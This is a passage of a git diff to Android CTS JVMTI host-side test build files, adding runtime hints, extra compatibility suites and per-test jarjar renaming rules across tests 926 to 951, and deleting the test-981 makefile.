diff --git a/hostsidetests/jvmti/run-tests/test-926/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-926/AndroidTest.xml
index 30c0da8..ea30af1 100644
--- a/hostsidetests/jvmti/run-tests/test-926/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-926/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest926HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest926DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_926" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-926/app/Android.mk b/hostsidetests/jvmti/run-tests/test-926/app/Android.mk
index a597fb1..3d531ff 100644
--- a/hostsidetests/jvmti/run-tests/test-926/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-926/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-926/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-926/jarjar-rules.txt
new file mode 100644
index 0000000..831e1634
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-926/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest926@1
diff --git a/hostsidetests/jvmti/run-tests/test-927/Android.mk b/hostsidetests/jvmti/run-tests/test-927/Android.mk
index 939601c..3371896 100644
--- a/hostsidetests/jvmti/run-tests/test-927/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-927/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest927HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-927/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-927/AndroidTest.xml
index 52b9b8e..f09082a 100644
--- a/hostsidetests/jvmti/run-tests/test-927/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-927/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest927HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest927DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_927" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-927/app/Android.mk b/hostsidetests/jvmti/run-tests/test-927/app/Android.mk
index 9c71950..0443b1b 100644
--- a/hostsidetests/jvmti/run-tests/test-927/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-927/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-927/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-927/jarjar-rules.txt
new file mode 100644
index 0000000..e342e09
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-927/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest927@1
diff --git a/hostsidetests/jvmti/run-tests/test-928/Android.mk b/hostsidetests/jvmti/run-tests/test-928/Android.mk
index 2eac8f9..3b0e60c 100644
--- a/hostsidetests/jvmti/run-tests/test-928/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-928/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest928HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-928/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-928/AndroidTest.xml
index 477a056..7755ea0 100644
--- a/hostsidetests/jvmti/run-tests/test-928/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-928/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest928HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest928DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_928" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-928/app/Android.mk b/hostsidetests/jvmti/run-tests/test-928/app/Android.mk
index 2eb3612..75ba90c 100644
--- a/hostsidetests/jvmti/run-tests/test-928/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-928/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-928/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-928/jarjar-rules.txt
new file mode 100644
index 0000000..52ce9fe
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-928/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest928@1
diff --git a/hostsidetests/jvmti/run-tests/test-930/Android.mk b/hostsidetests/jvmti/run-tests/test-930/Android.mk
index 2ac9ae2..3b7ddf7 100644
--- a/hostsidetests/jvmti/run-tests/test-930/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-930/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest930HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-930/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-930/AndroidTest.xml
index cbed864..c2b8745 100644
--- a/hostsidetests/jvmti/run-tests/test-930/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-930/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest930HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest930DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_930" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-930/app/Android.mk b/hostsidetests/jvmti/run-tests/test-930/app/Android.mk
index 873b273..8a35455 100644
--- a/hostsidetests/jvmti/run-tests/test-930/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-930/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-930/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-930/jarjar-rules.txt
new file mode 100644
index 0000000..b45db2f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-930/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest930@1
diff --git a/hostsidetests/jvmti/run-tests/test-931/Android.mk b/hostsidetests/jvmti/run-tests/test-931/Android.mk
index ae04387..8f2cec9 100644
--- a/hostsidetests/jvmti/run-tests/test-931/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-931/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest931HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-931/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-931/AndroidTest.xml
index 4532a3e..349cc80 100644
--- a/hostsidetests/jvmti/run-tests/test-931/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-931/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest931HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest931DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_931" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-931/app/Android.mk b/hostsidetests/jvmti/run-tests/test-931/app/Android.mk
index c03028a..c1be435 100644
--- a/hostsidetests/jvmti/run-tests/test-931/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-931/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-931/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-931/jarjar-rules.txt
new file mode 100644
index 0000000..9570d03
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-931/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest931@1
diff --git a/hostsidetests/jvmti/run-tests/test-932/Android.mk b/hostsidetests/jvmti/run-tests/test-932/Android.mk
index c952c86..4e655f5 100644
--- a/hostsidetests/jvmti/run-tests/test-932/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-932/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest932HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-932/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-932/AndroidTest.xml
index 234476c..c691b40 100644
--- a/hostsidetests/jvmti/run-tests/test-932/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-932/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest932HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest932DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_932" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-932/app/Android.mk b/hostsidetests/jvmti/run-tests/test-932/app/Android.mk
index 651a9ee..970365b 100644
--- a/hostsidetests/jvmti/run-tests/test-932/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-932/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-932/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-932/jarjar-rules.txt
new file mode 100644
index 0000000..fc9fd30
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-932/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest932@1
diff --git a/hostsidetests/jvmti/run-tests/test-940/Android.mk b/hostsidetests/jvmti/run-tests/test-940/Android.mk
index 4ed5dec..99fc6ae 100644
--- a/hostsidetests/jvmti/run-tests/test-940/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-940/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest940HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-940/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-940/AndroidTest.xml
index 2ef5266..fe8f6df 100644
--- a/hostsidetests/jvmti/run-tests/test-940/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-940/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest940HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest940DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_940" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-940/app/Android.mk b/hostsidetests/jvmti/run-tests/test-940/app/Android.mk
index c2121eb..bc0476f 100644
--- a/hostsidetests/jvmti/run-tests/test-940/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-940/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-940/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-940/jarjar-rules.txt
new file mode 100644
index 0000000..71c7825
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-940/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest940@1
diff --git a/hostsidetests/jvmti/run-tests/test-942/Android.mk b/hostsidetests/jvmti/run-tests/test-942/Android.mk
index d2605b7..68d839b 100644
--- a/hostsidetests/jvmti/run-tests/test-942/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-942/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest942HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-942/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-942/AndroidTest.xml
index a0043a8..f200441 100644
--- a/hostsidetests/jvmti/run-tests/test-942/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-942/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest942HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest942DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_942" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-942/app/Android.mk b/hostsidetests/jvmti/run-tests/test-942/app/Android.mk
index 82d3b6a..5b077b4 100644
--- a/hostsidetests/jvmti/run-tests/test-942/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-942/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-942/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-942/jarjar-rules.txt
new file mode 100644
index 0000000..76d0e86
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-942/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest942@1
diff --git a/hostsidetests/jvmti/run-tests/test-944/Android.mk b/hostsidetests/jvmti/run-tests/test-944/Android.mk
index 16f9c7f..bcc2046 100644
--- a/hostsidetests/jvmti/run-tests/test-944/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-944/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest944HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml
index bf9c3b0..97a69cd 100644
--- a/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest944HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest944DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_944" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-944/app/Android.mk b/hostsidetests/jvmti/run-tests/test-944/app/Android.mk
index c820284..197b5fe 100644
--- a/hostsidetests/jvmti/run-tests/test-944/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-944/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-944/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-944/jarjar-rules.txt
new file mode 100644
index 0000000..3f0fecf
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-944/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest944@1
diff --git a/hostsidetests/jvmti/run-tests/test-945/Android.mk b/hostsidetests/jvmti/run-tests/test-945/Android.mk
index e86d85e..b06d1f9 100644
--- a/hostsidetests/jvmti/run-tests/test-945/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-945/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest945HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-945/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-945/AndroidTest.xml
index be0827b..3c76674 100644
--- a/hostsidetests/jvmti/run-tests/test-945/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-945/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest945HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest945DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_945" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-945/app/Android.mk b/hostsidetests/jvmti/run-tests/test-945/app/Android.mk
index b704807..5326258 100644
--- a/hostsidetests/jvmti/run-tests/test-945/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-945/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-945/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-945/jarjar-rules.txt
new file mode 100644
index 0000000..03ea4b9
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-945/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest945@1
diff --git a/hostsidetests/jvmti/run-tests/test-947/Android.mk b/hostsidetests/jvmti/run-tests/test-947/Android.mk
index 4b4cead..2258a4b 100644
--- a/hostsidetests/jvmti/run-tests/test-947/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-947/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest947HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-947/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-947/AndroidTest.xml
index 2a8b3d1..1f7a004 100644
--- a/hostsidetests/jvmti/run-tests/test-947/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-947/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest947HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest947DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_947" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-947/app/Android.mk b/hostsidetests/jvmti/run-tests/test-947/app/Android.mk
index 42cc459..7f807d0 100644
--- a/hostsidetests/jvmti/run-tests/test-947/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-947/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-947/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-947/jarjar-rules.txt
new file mode 100644
index 0000000..d229133
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-947/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest947@1
diff --git a/hostsidetests/jvmti/run-tests/test-951/Android.mk b/hostsidetests/jvmti/run-tests/test-951/Android.mk
index ba45b86..5677f8b 100644
--- a/hostsidetests/jvmti/run-tests/test-951/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-951/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest951HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-951/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-951/AndroidTest.xml
index 659506d..ef9a6e7 100644
--- a/hostsidetests/jvmti/run-tests/test-951/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-951/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest951HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest951DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_951" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-951/app/Android.mk b/hostsidetests/jvmti/run-tests/test-951/app/Android.mk
index 6b22274..f70496c 100644
--- a/hostsidetests/jvmti/run-tests/test-951/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-951/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-951/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-951/jarjar-rules.txt
new file mode 100644
index 0000000..34d0341
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-951/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest951@1
diff --git a/hostsidetests/jvmti/run-tests/test-981/Android.mk b/hostsidetests/jvmti/run-tests/test-981/Android.mk
deleted file mode 100644
index 4bbc20a..0000000
--- a/hostsidetests/jvmti/run-tests/test-981/Android.mk
+++ /dev/null
@@ -1,26 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
